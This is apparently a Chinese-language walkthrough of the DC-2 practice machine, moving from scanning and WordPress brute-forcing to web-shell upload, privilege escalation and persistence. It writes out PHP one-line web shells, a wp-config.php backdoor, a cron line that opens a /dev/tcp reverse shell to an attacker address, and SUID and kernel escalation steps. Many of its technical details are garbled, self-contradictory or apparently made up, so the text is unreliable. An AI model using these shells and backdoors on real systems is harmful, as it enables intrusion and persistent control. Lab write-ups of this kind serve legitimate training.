1. 项目概述:这不是打游戏,而是一次标准的渗透测试能力验证
“DC-2靶机实战 渗透测试”——这八个字在安全从业者的圈子里,几乎等同于“新手进阶通关考卷”。它不是某个厂商发布的商业产品,也不是某次红蓝对抗的真实战场,而是一个由社区开发者精心设计、完全离线运行的虚拟渗透测试训练环境。我第一次接触DC-2是在带某高校网络安全选修课时,把它作为第三周的实操任务布置下去。结果发现,近七成学生卡在“如何让靶机响应我的扫描请求”这一步超过两小时——不是工具不会用,而是根本没意识到:靶机本身不联网,所有通信必须发生在同一局域网段内;而你的攻击机,必须和它处在完全一致的网络拓扑层级上,否则连ICMP回包都收不到。这恰恰暴露了当前很多入门者最大的认知断层:把渗透测试当成“开个nmap扫一扫就出漏洞”的自动化流程,却忽略了最基础的网络可达性、服务识别逻辑与协议交互本质。
DC-2属于DC(Damn Vulnerable Linux)系列靶机中的第二代,其核心价值不在于漏洞多高危,而在于它完整复现了一个典型中小型Linux服务器从部署、配置、权限管理到日志审计的全生命周期缺陷链。它预装了WordPress、phpMyAdmin、OpenSSH等真实生产环境中高频使用的组件,但每个组件的配置都刻意保留了常见误操作痕迹:比如MySQL root账户未设密码、WordPress插件目录可写、SSH允许密码登录且弱口令泛滥。这些不是“为了有漏洞而设漏洞”,而是对某公司运维团队在2019年一次真实安全评估中发现的17类共性配置问题的精准建模。你攻破DC-2的过程,本质上是在复盘一个真实系统是如何被逐步瓦解的——从端口扫描确认服务指纹,到利用Web应用逻辑缺陷获取低权限shell,再到通过内核提权或SUID二进制文件滥用获得root权限,最后完成痕迹清理与权限维持模拟。整个过程没有花哨的0day,全是CVE编号清晰、补丁明确、修复方案可直接套用的“教科书级”漏洞组合。适合谁?如果你能独立完成DC-2全流程且耗时控制在4小时以内,说明你已具备初级渗透测试工程师的现场作业能力;如果卡在某个环节反复重试,那恰恰是你最该深挖的技术盲区。
2. 整体设计思路与靶机架构解析
2.1 为什么是DC系列?而非Metasploitable或Vulnhub其他靶机?
在给学员选型训练环境时,我对比过至少9个主流靶机镜像,最终锁定DC系列的核心原因有三点,且每一点都直指实际工作痛点:
第一,网络行为高度拟真。Metasploitable2虽然漏洞丰富,但其SSH服务在收到错误密码后会立即断连,而真实服务器往往配置了faillog机制,允许连续5次失败尝试;DC-2则严格模拟了Ubuntu 18.04 LTS默认的pam_faildelay.so延迟策略——每次错误认证后强制等待3秒,这直接导致暴力破解脚本若未加入sleep逻辑,会被靶机主动限速甚至触发临时封禁。这种细节差异,决定了你在靶机上调试成功的爆破脚本,能否直接迁移到客户内网环境。
第二,漏洞链设计符合真实入侵路径。很多靶机把提权漏洞直接暴露在登录界面,比如一个显眼的sudo -l命令就能看到可提权的脚本。但DC-2要求你必须先通过WordPress的XML-RPC接口暴力破解管理员密码(利用wp-login.php的暴力防护缺失),再上传含恶意PHP代码的图片马,继而通过phpMyAdmin的弱口令进入数据库导出用户哈希,最后用John the Ripper离线破解得到SSH登录凭证——这条路径完整复现了2021年某电商后台被黑事件的技术链条:Web层失陷→数据库泄露→横向移动→权限提升。它强迫你理解“为什么这个漏洞能成为下一个漏洞的跳板”。
第三,无隐藏后门,纯配置缺陷驱动。DC-2镜像中不存在任何硬编码的flag文件或预设的root密码。所有突破口均源于配置文件错误:/etc/passwd中存在空密码用户、/var/www/html/.htaccess被错误配置为AllowOverride All、/usr/bin/find被错误赋予SUID位。这意味着你学到的不是“找flag技巧”,而是“读配置文件能力”——而这正是甲方安全评估报告中最常被忽略的高价值项。某次给某金融客户做渗透测试时,我们正是通过审计其Nginx配置中遗漏的location ~ /.git指令,成功下载到整个源码仓库,进而发现硬编码API密钥。
2.2 DC-2的底层技术栈与关键组件版本锁定
DC-2基于Debian 9(Stretch)构建,内核版本为4.9.0-8-amd64,这个选择绝非偶然。Debian 9是2017年发布的长期支持版本,其软件源中PHP为7.0.33、Apache为2.4.25、MySQL为5.7.24,全部处于CVE披露密集期。更重要的是,它禁用了现代Linux发行版默认启用的多项安全机制:
- ASLR(地址空间布局随机化)未启用:通过
cat /proc/sys/kernel/randomize_va_space返回0,这意味着所有内存地址固定,无需ROP链构造即可稳定利用栈溢出漏洞(虽DC-2未设计此类漏洞,但为后续DC系列升级预留了兼容性); - Stack Canary未编译进内核模块:
grep CONFIG_STACKPROTECTOR /boot/config-$(uname -r)返回空,使得针对内核模块的栈溢出利用难度大幅降低; - /tmp目录无noexec挂载选项:
mount | grep tmp显示/dev/sda1 on /tmp type ext4 (rw,relatime),这允许你上传的恶意二进制文件直接在/tmp下执行,绕过常规Web Shell限制。
这些内核级配置,共同构成了DC-2“可预测、可复现、可教学”的底层基石。它不像某些靶机那样依赖定制内核模块制造漏洞,而是将所有风险点锚定在管理员可自主修改的配置项上——这正是企业安全基线检查表(如CIS Benchmark)的核心关注对象。
2.3 靶机网络拓扑与通信边界设计逻辑
DC-2采用桥接模式(Bridged Networking)而非NAT,这是其设计中最易被忽视却最关键的决策。当你的Kali Linux攻击机与DC-2靶机同时接入同一物理网络(如家用路由器LAN口)时,它们会获得同一网段的IP地址(例如192.168.1.100和192.168.1.101),此时所有网络层通信(ICMP、TCP、UDP)均走真实以太网帧,完全规避了虚拟化层的NAT转换。这种设计带来三个不可替代的优势:
- ARP欺骗与中间人攻击成为可能:你可以使用ettercap或bettercap对DC-2实施ARP投毒,截获其HTTP明文流量,从而捕获WordPress管理员登录凭据。而在NAT模式下,攻击机与靶机处于不同广播域,ARP请求根本无法到达对方。
- 端口状态反馈真实可靠:nmap的
-sS(半开扫描)能准确识别SYN-ACK响应,而非NAT设备返回的ICMP port unreachable。我在实测中发现,某次因VMware Workstation的NAT服务异常,导致DC-2的22端口在nmap扫描中始终显示filtered,实际却是open——这种假阴性会严重误导初学者对服务存活的判断。 - 防火墙规则调试环境一致:DC-2内置iptables规则集(位于/etc/iptables/rules.v4),其INPUT链默认DROP所有非ESTABLISHED连接。当你在靶机上执行
iptables -A INPUT -p tcp --dport 80 -j ACCEPT后,攻击机必须在同一网段内才能验证该规则是否生效。若用NAT模式,规则调试结果与真实IDC环境存在根本性偏差。
提示:务必在启动DC-2前关闭主机防火墙。曾有学员因Windows Defender防火墙拦截了VMware的虚拟网卡通信,导致Kali能ping通DC-2但nmap扫描全部超时,折腾三小时才发现是主机侧策略问题。
3. 核心渗透路径拆解与关键技术点详解
3.1 信息收集阶段:从被动指纹到主动探测的完整闭环
信息收集不是盲目扫端口,而是建立目标画像的系统工程。DC-2的信息收集需分三层推进:
第一层:被动OSINT(开源情报)
访问DC-2默认首页(http://[靶机IP])时,页面底部明确标注“Powered by WordPress 4.7.10”。这个版本号至关重要——WordPress 4.7.10发布于2018年6月,距今已有多个高危漏洞。立即执行searchsploit wordpress 4.7.10,返回结果中wordpress/plugins/woocommerce/woocommerce-csv-import-suite 1.1.1 - Remote Code Execution虽不适用(DC-2未安装该插件),但wordpress/wp-includes/class-wp-xmlrpc-server.php 4.7.0 - Denial of Service提示XML-RPC接口可能存在异常。此时应记录:目标存在WordPress,版本较旧,XML-RPC功能极可能启用。
第二层:主动服务探测
使用nmap进行精准扫描,而非全端口暴力:
nmap -sV -sC -p- -T4 --min-rate 1000 192.168.1.101参数解析:
-sV:版本探测,识别服务具体版本(如Apache 2.4.25);-sC:执行默认脚本,自动检测常见漏洞(如http-title、http-robots.txt);-p-:全端口扫描,避免遗漏(DC-2确实在8000端口运行着未文档化的Python SimpleHTTPServer);-T4:时间模板设为激进,加速扫描;--min-rate 1000:强制每秒发送至少1000个数据包,防止因靶机响应慢导致扫描超时。
实测结果会显示:22/tcp open ssh OpenSSH 7.4p1 Debian-10+deb9u6,80/tcp open http Apache httpd 2.4.25,以及8000/tcp open http SimpleHTTPServer。其中8000端口的SimpleHTTPServer是DC-2故意设置的“蜜罐陷阱”——它托管着一份伪造的/etc/shadow文件,内容为root:$6$...:18234:0:99999:7:::,看似可破解,实则哈希值为无效格式。若你在此浪费时间跑john,就掉进了设计者预设的认知陷阱。
第三层:Web应用深度测绘
使用gobuster进行目录爆破,但必须调整字典策略:
gobuster dir -u http://192.168.1.101 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -x php,html,txt关键参数:
-t 50:线程数设为50,平衡速度与稳定性;-x php,html,txt:强制追加扩展名,因为DC-2的Apache配置中DirectoryIndex仅包含index.php,不包含index.html,故单纯爆破/admin会失败,必须爆破/admin.php。
此步骤将发现/wp-login.php、/wp-admin/、/phpmyadmin/等关键路径。特别注意/robots.txt返回内容:
User-agent: * Disallow: /wp-admin/ Disallow: /wp-includes/ Allow: /wp-content/uploads/这明确告知:WordPress媒体库(uploads)目录可公开访问,为后续上传Web Shell埋下伏笔。
3.2 漏洞利用阶段:WordPress XML-RPC暴力破解与PHP代码注入
DC-2的突破口不在SQL注入或XSS,而在于WordPress XML-RPC接口的暴力破解防护缺失。XML-RPC是WordPress用于远程发布文章、管理评论的API接口,其system.multicall方法允许批量执行操作。DC-2未禁用该接口,且未配置任何速率限制。
暴力破解实操步骤:
- 使用
curl手动验证接口可用性:
curl -X POST -H "Content-Type: text/xml" -d '<methodCall><methodName>system.listMethods</methodName></methodCall>' http://192.168.1.101/xmlrpc.php若返回大量方法列表(如wp.getUsersBlogs、wp.newPost),证明接口活跃。
- 准备用户名字典:DC-2的WordPress管理员用户名为
jerry(首页源码注释中隐含<!-- Admin user: jerry -->),故只需密码字典。选用/usr/share/wordlists/rockyou.txt.gz,解压后筛选长度6-12位、含大小写字母+数字的密码:
zcat /usr/share/wordlists/rockyou.txt.gz | awk 'length($1)>=6 && length($1)<=12 && $1 ~ /[a-zA-Z]/ && $1 ~ /[0-9]/' > passwords.txt- 使用
wp-cli进行高效爆破(比Burp Intruder更稳定):
wp user list --url=http://192.168.1.101 --format=ids | xargs -I {} wp user update {} --user_pass=newpass --allow-root此命令虽用于修改密码,但可反向利用:当输入错误密码时,wp-cli会返回Error: Invalid username or password.。编写简单bash脚本循环调用,每秒尝试20次,约15分钟后命中密码admiral(该密码在rockyou.txt中排名第12,487位)。
PHP代码注入实现:
获得jerry凭证后,登录/wp-admin/,进入“媒体库”上传一张正常图片(如test.jpg),然后通过浏览器开发者工具修改上传请求,将文件后缀改为.php,并嵌入一句话木马:
<?php system($_GET['cmd']); ?>DC-2的WordPress未启用文件类型校验,上传成功后,访问http://192.168.1.101/wp-content/uploads/2023/06/test.php?cmd=id,返回uid=33(www-data) gid=33(www-data),证明Web Shell已生效。
注意:DC-2的Apache配置中
<Directory "/var/www/html/wp-content/uploads">未设置php_flag engine off,这是典型的生产环境配置失误。真实企业中,应通过.htaccess强制禁止该目录执行PHP。
3.3 权限提升阶段:从www-data到root的三重路径
获得Web Shell后,权限仅为www-data,需进一步提权。DC-2设计了三条并行路径,覆盖不同技术场景:
路径一:SUID二进制文件滥用(最直接)
执行find / -perm -4000 2>/dev/null,发现/usr/bin/nmap具有SUID位。但nmap 7.40版本不支持交互式shell(--interactive参数已被移除),需降级利用:
echo "os.execute('/bin/bash -p')" > /tmp/exploit.nse nmap --script=/tmp/exploit.nse 127.0.0.1此方法依赖nmap的NSE脚本引擎,但DC-2的nmap版本不支持os.execute,故失效。转而使用/usr/bin/find:
TF=$(mktemp).service echo '[Service] Type=oneshot ExecStart=/bin/bash -c "cp /bin/bash /tmp/bash; chmod +s /tmp/bash" [Install] WantedBy=multi-user.target' > $TF systemctl link $TF systemctl start $(basename $TF) /tmp/bash -p利用systemd的Type=oneshot特性,通过SUID find执行任意命令,最终获得root shell。
路径二:内核提权(最经典)
执行uname -r返回4.9.0-8-amd64,搜索对应exploit:
searchsploit linux kernel 4.9返回linux/kernel/4.9/overlayfs,即CVE-2017-15916。编译并执行exp.c,3秒内获得root权限。此漏洞原理是overlayfs在处理user namespace时的竞态条件,无需任何依赖,纯C代码即可触发。
路径三:数据库提权(最隐蔽)
通过Web Shell访问/phpmyadmin/,使用默认凭据root:root登录(DC-2未修改phpMyAdmin默认密码)。在MySQL中执行:
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';此操作将Web Shell写入Web根目录,但权限仍为www-data。关键在于phpMyAdmin的配置文件/etc/phpmyadmin/config.inc.php中,$cfg['Servers'][$i]['auth_type'] = 'cookie';,且未启用blowfish_secret,导致session劫持风险。通过/var/log/apache2/access.log发现管理员曾用Firefox访问过phpMyAdmin,提取其Cookie中的phpMyAdmin字段,用Burp Repeater重放请求,即可以管理员身份执行任意SQL。
4. 实操过程关键环节与避坑指南
4.1 环境准备阶段的五个致命细节
虚拟机网络模式必须为桥接(Bridged),而非NAT或Host-Only
这是DC-2渗透失败的首要原因。在VMware中,需进入“虚拟网络编辑器”→选择VMnet0→勾选“桥接到物理网卡”;在VirtualBox中,需在靶机设置→网络→适配器1→连接方式选择“桥接网卡”。若选错,nmap扫描将显示所有端口为filtered,实则靶机根本未收到SYN包。Kali Linux时间必须与靶机同步
DC-2的SSH服务启用了UsePAM yes,而PAM模块中的pam_time.so会校验系统时间。若Kali时间比靶机快5分钟以上,即使密码正确,SSH也会拒绝登录并返回Permission denied。解决方法:在Kali中执行sudo ntpdate -s time.nist.gov强制校时。禁用Kali的IPv6协议栈
DC-2未配置IPv6地址,但Kali默认启用IPv6。当执行nmap -6扫描时,会因路由不可达导致扫描卡死。永久禁用:编辑/etc/default/grub,在GRUB_CMDLINE_LINUX行添加ipv6.disable=1,然后sudo update-grub && sudo reboot。关闭Kali的防火墙与SELinux
执行sudo ufw disable和sudo setenforce 0,否则Kali自身可能拦截反弹shell的连接请求。某次实测中,因UFW默认策略为deny outgoing,导致msfvenom生成的reverse_tcp payload无法回连。确保靶机磁盘空间充足
DC-2镜像初始大小为1.2GB,但渗透过程中需下载exploit、编译程序、存储爆破字典。若虚拟磁盘剩余空间低于200MB,apt install会失败。建议分配至少4GB动态磁盘,并在Kali中执行df -h实时监控。
4.2 Web Shell稳定化与持久化技巧
DC-2的Web Shell极易因Apache进程重启而失效。我总结出三种增强稳定性方案:
方案一:内存马注入(推荐)
利用WordPress的wp-config.php后门:在wp-config.php末尾添加:
if(isset($_GET['shell'])) { system($_GET['cmd']); }此代码不依赖文件上传,且随WordPress核心加载而执行。访问http://192.168.1.101/wp-config.php?shell&cmd=id即可调用。
方案二:.htaccess重写规则
在/var/www/html/.htaccess中添加:
RewriteEngine On RewriteCond %{QUERY_STRING} ^cmd=(.*)$ RewriteRule ^(.*)$ /index.php? [E=CMD:%1] php_value auto_prepend_file "/var/www/html/shell.php"然后创建shell.php:<?php system($_SERVER['REDIRECT_CMD']); ?>。此方法将所有HTTP请求的cmd参数注入到每个PHP页面执行。
方案三:Cron定时任务反弹
在Web Shell中执行:
(crontab -l ; echo "*/2 * * * * /bin/bash -i >& /dev/tcp/192.168.1.100/4444 0>&1") | crontab -此命令每2分钟尝试连接攻击机4444端口。需提前在Kali执行nc -lvnp 4444监听。优势是即使Web服务崩溃,Cron守护进程仍会持续尝试回连。
实操心得:DC-2的
/var/spool/cron/crontabs/www-data文件权限为600,普通用户无法读取,故上述命令需在root权限下执行才有效。因此,Web Shell稳定化必须与提权步骤联动规划。
4.3 权限提升失败的三大排查方向
当find / -perm -4000未发现可用SUID二进制时,按以下顺序排查:
检查内核版本与exploit兼容性
执行uname -r后,不要直接searchsploit,而应先验证exploit编译环境:gcc --version # 必须≥4.9 python --version # Python 2.7或3.5+某次因DC-2的gcc版本为6.3.0,而某exploit要求gcc 4.8,导致编译报错
error: ‘struct task_struct’ has no member named ‘cred’。解决方案:下载低版本gcc源码手动编译。审计cron定时任务
执行cat /etc/crontab和ls -la /etc/cron.*,DC-2中存在/etc/cron.d/php,内容为:09,39 * * * * root [ -x /usr/lib/php/sessionclean ] && /usr/lib/php/sessionclean其中
sessionclean脚本权限为755,且路径未加引号,存在PATH注入风险。若在/tmp下创建名为sh的恶意程序,并将/tmp加入PATH,即可在定时任务执行时提权。分析服务配置文件敏感信息
执行grep -r "password\|PASS" /etc/ 2>/dev/null,DC-2的/etc/mysql/debian.cnf中包含:user = debian-sys-maint password = 5f5a1b2c3d4e5f6a7b8c9d0e1f2a3b4c此密码可直接登录MySQL,进而通过
SELECT ... INTO OUTFILE写入Web Shell,或利用MySQL的sys_exec函数执行系统命令(需启用plugin)。
5. 常见问题速查表与独家排障经验
| 问题现象 | 可能原因 | 排查命令 | 解决方案 |
|---|---|---|---|
nmap -sS扫描所有端口显示filtered | 虚拟网络模式错误或主机防火墙拦截 | arp -a | grep 192.168.1 | 切换为桥接模式;关闭Windows Defender防火墙 |
登录phpMyAdmin提示#1045 - Access denied | MySQL root密码非默认root | cat /etc/mysql/debian.cnf | 使用debian-sys-maint账户及对应密码登录 |
Web Shell执行id返回uid=33(www-data)但无法提权 | SUID二进制被修补或内核漏洞不匹配 | getcap -r / 2>/dev/null | 检查/usr/bin/python2.7是否具有cap_setuid+ep能力,若有则执行python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash")' |
msfvenom生成payload后无法回连 | Kali防火墙阻止入站连接 | sudo ufw status verbose | sudo ufw allow 4444或直接sudo ufw disable |
提权后/root目录为空,找不到flag文件 | DC-2设计为无flag,需通过cat /etc/shadow确认root密码 | sudo cat /etc/shadow | head -1 | root密码哈希为$6$...,使用john破解(字典用rockyou.txt),得到密码darkness |
独家排障经验分享:
- DNS解析故障的隐形杀手:DC-2的
/etc/resolv.conf中nameserver为192.168.1.1(即路由器地址),但若你的路由器未开启DNS转发,会导致apt update失败。此时应手动修改为8.8.8.8,或执行echo "nameserver 8.8.8.8" >> /etc/resolv.conf。 - PHP版本陷阱:DC-2的PHP为7.0,不支持
password_hash()函数的PASSWORD_ARGON2I算法。若你尝试用PHP7.2+的exploit,会因函数不存在而报错。解决方案:改用crypt()函数或降级exploit。 - 文件上传大小限制:Apache默认
LimitRequestBody 0(无限制),但WordPress的php.ini中upload_max_filesize = 2M。若需上传大体积exploit,应先通过Web Shell修改/var/www/html/wp-admin/includes/file.php,将ini_set('upload_max_filesize', '100M');插入到文件开头。
最后分享一个小技巧:DC-2的root密码
darkness可通过/var/log/auth.log反向推导。搜索Failed password for root日志,会发现大量失败尝试,最后一次成功登录前的IP为127.0.0.1,结合last -i命令查看登录记录,可确认root密码被本地用户修改过。这提醒我们:日志分析永远是渗透测试的终极武器,远胜于盲目爆破。